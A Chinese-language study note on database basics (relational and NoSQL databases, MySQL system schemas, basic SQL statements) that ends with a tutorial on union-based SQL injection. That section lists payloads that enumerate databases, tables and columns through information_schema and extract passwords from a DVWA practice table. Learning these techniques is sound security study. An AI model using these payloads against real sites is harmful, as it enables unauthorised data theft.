数据库
什么是数据库
数据库就是一个存储数据的仓库,数据库是以一定方式存储在一起、能与多个用户共享、具有尽可能小的冗余度、与应用程序彼此独立的数据集合。
关系型数据库
关系型数据库,是使用关系模型(二维表格模型)来组织数据的数据库。关系型数据库和常见的表格比较相似,关系型数据库中表与表之间是有很多复杂的关联关系的。
常见的关系型数据库有MysQL,oracle, PostgresQL,sQL Server等。
非关系型数据库
非关系型数据库又被称为 NoSQL(Not Only SQL ),意为不仅仅是 SQL。通常指数据以对象的形式存储在数据库中,而对象之间的关系通过每个对象自身的属性来决定,常用于存储非结构化的数据。
常见的NoSQL数据库如MongoDB、Redis、Memcached等
数据库
information_schema库: 是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息,比如数据库名,数据库表,表字段的数据类型与访问权限等。Web渗透过程中用途很大。
SCHEMATA表:提供了当前MySQL实例中所有的数据库信息, show databases结果取自此表
TABLES表:记录了用户创建的所有数据库的库名(TABLE_SCHEMA)和表名(TABLE_NAME)
COLUMNS表:提供了表中的列信息,详细描述了某张表的所有列以及每个列的信息
mysql库: MysQL的核心数据库,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。
performance_schema库: 内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级,将数据保存在内存中相比从磁盘上访问能够极大地提高应用的性能。
sys库: 通过这个数据库数据库,可以查询谁使用了最多的资源基于IP或是用户。哪张表被访问过最多等等信息。
基本语法
1 | CREATE DATABASE test CHARSET utf8; |
增
1 | INSERT INTO table_name |
删
1 | DROP DATABASE test; |
改
1 | UPDATE 表名 SET 字段名1=值1,字段名2=值2 WHERE 条件表达式 |
查
select
SELECT 语句用于从数据库中选取数据。
结果被存储在一个结果表中,称为结果集。
1 | SELECT column_name1,column_name2 FROM table_name; |
SQL注入
SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的sql服务器加以解析和执行。由于sql语句本身的多样性,以及可用于构造sql语句的编程方法很多,因此凡是构造sql语句的步骤均存在被攻击的潜在风险。Sql注入的方式主要是直接将代码插入参数中,这些参数会被置入sql命令中加以执行。间接的攻击方式是将恶意代码插入字符串中,之后将这些字符串保存到数据库的数据表中或将其当成元数据。当将存储的字符串置入动态sql命令中时,恶意代码就将被执行。
数字型注入
字符型注入
联合查询
Mysql允许复合查询(多个SELECT语句并列查询),并将返回单个结果集
select username from admin UNION select password from admin;
流程
确定联合查询的字段数->确定联合查询回显位置->爆库->爆表->爆字段->爆数据 即是我们的一般联合查询sql注入数据库的流程。
查询所有库名:
‘ union select 1,group_concat(schema_name) from information_schema.schemata – ‘
-1’ union select 1,database()#
查表名
‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=’数据库的名称’#
1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() –+
查字段
‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’
查获取字段信息
‘ union select 1,group_concat(password) from dvwa.users – ‘
GROUP_CONCAT()函数
GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。
将多个字符串连接成一个字符串。
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/rhhag0agzad61flq
语雀文档ID: 135349141